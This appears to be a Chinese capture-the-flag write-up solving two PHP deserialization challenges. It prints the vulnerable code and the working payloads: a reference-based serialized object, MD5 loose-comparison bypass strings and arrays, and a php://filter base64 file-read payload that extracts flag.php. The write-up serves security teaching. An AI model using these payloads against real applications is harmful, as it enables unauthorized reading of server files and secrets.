1.BUU CODE REVIEW 1
先看源代码
<?php
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
源代码中包含BUU类和if条件判断语句
先分析BUU类,有__destruct()方法,就是对象被销毁时自动调用,可以通过序列化结果进行post传参,让correct和input相等即可得到flag,这是对BUU类的操作
<?php
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
$a=new BUU();
$a->input=&$a->correct;
echo serialize($a);
?>
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
为什么这样构造呢?因为uniqid()产生的数是随时变化的,所以不能单纯让两个变量的值相等,因为无法保障值是确定唯一的,所以用到指针,让两个变量的内存地址相等,也就是共用一个内存地址。就可以确保两个变量是完全相同的~~这样就可以得到序列化字符串,进行反序列化绕过
下一步就是 分析if语句,if语句的条件有一个get和四个post,get传参时需要满足pleaseget=1,post传参需要满足①pleasepsot=2,②md5的弱相等
md5弱相等绕过有两种办法:
①科学计数法:字符串以0e开头的,后面都是纯数字,就会被认为科学计数,在php中遇到0e就会解释为0,不管后面是什么,都解释为0
这是一些常用到的0e开头的字符串
字符串 | md5 |
---|---|
QNKCDZO | 0e830400451993494058024219903391 |
s155964671a | 0e342768416822451524974117254469 |
s878926199a | 0e545993274517709034328855841020 |
②数组绕过:md5无法解析数组,所以当处理数组时,就会返回null,自然null==null
进行传参,得到flag
2.[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
本题的代码有点长,咱们一段一段看
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
在process方法中,当类变量op等于1的时候会调用write()方法,等于2的时候会调用read()方法。那么我们接下来就分析这两个方法
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
write()中就是个判断字符串长度,完了将字符串写入文件中,没什么用
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
我们发现read()方法中有file_get_contents
函数用于读取文件,所以read方法就是我们获得flag的关键。 这也就出现了第一个条件:变量op得等于2
我们再来看魔术方法__destruct(),当一个对象被删除或对象操作被终止时就会调用这个方法。我们进入这个靶场的时候,对象一定是会被杀死的,所以我们一定会调用这个魔术方法
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
在这个方法中,当op强等于2时,就会使op等于1,但是我们必须让op等于2,所以这个地方要进行绕过
在php中,强比较===
不仅比较值还比较数据类型,而弱比较==
只比较值。所以我们让po=2,这里的2是int类型,不是字符类型“2”
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
is_valid()方法规定传入变量的字符的ASCII码必须是32-125,而变量是protected定义的,protected属性在序列化后会出现不可见字符\x00*\x00,转化为ASCII码不符合要求,而public属性序列化不会出现不可见字符,可以用public属性来绕过
根据以上分析,我们先来构造反序列化代码:
<?php
class FileHandler{
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a = new FileHandler();
echo serialize($a);
?>
PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter是一种PHP中的一种特殊的流(即PHP伪协议),允许开发者使用流过滤器来对数据进行处理。也就是说这个协议可以用来过滤一些东西,使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流>指定了你要筛选过滤的数据流。必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表>任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。 read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。
php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后经过base64解码就可以看到flag:
所以本题的payload为:/?file=php://filter/read=convert.base64-encode/resource=flag.php
payload:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
得到一串base64编码,解码后即可得到flag:
PD9waHAgJGZsYWc9J2ZsYWd7ODE2Y2FkZDUtM2I5Ny00ODU4LWI0ODEtNGE1MGE2ZGU0NjBmfSc7Cg==
<?php $flag='flag{816cadd5-3b97-4858-b481-4a50a6de460f}';
当然构造反序列化代码时也可以使用flag.php,但是这样靶场不会出现flag,需要去页面源代码中查看才能找到